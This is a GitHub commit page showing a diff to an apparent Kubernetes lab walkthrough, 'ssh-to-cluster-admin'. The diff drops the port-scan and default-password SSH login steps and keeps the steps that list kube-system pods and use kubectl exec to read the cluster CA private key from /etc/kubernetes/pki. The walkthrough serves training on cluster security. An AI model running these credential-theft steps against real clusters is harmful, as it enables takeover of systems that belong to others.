Skip to content

Commit

Permalink
explain ssh part of scenario
Browse files Browse the repository at this point in the history
  • Loading branch information
mrintern authored Aug 19, 2022
1 parent fb3c72c commit 0534a28
Showing 1 changed file with 5 additions and 5 deletions.
10 changes: 5 additions & 5 deletions Scenario Walkthroughs/ssh-to-cluster-admin.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,8 @@

### Compromising the cluster

1. Scan all ports on node `nmap [CLUSTERIP] -p-`
2. Login via ssh `ssh -p 32001 sshuser@[CLUSTER IP]`. When prompted for a password, type `sshuser`
4. Get list of pods in kube-system namespace `kubectl get po -n kube-system`
5. Grab the certificate `kubectl -n kube-system exec [API_SERVER_POD] -- cat /etc/kubernetes/pki/ca.key`
6. Profit!
This scenario begins with ssh access to a pod. The ssh credentials can be found in the scenario setup.

1. Get list of pods in kube-system namespace `kubectl get po -n kube-system`
2. Grab the certificate `kubectl -n kube-system exec [API_SERVER_POD] -- cat /etc/kubernetes/pki/ca.key`
3. Profit!

0 comments on commit 0534a28

Please sign in to comment.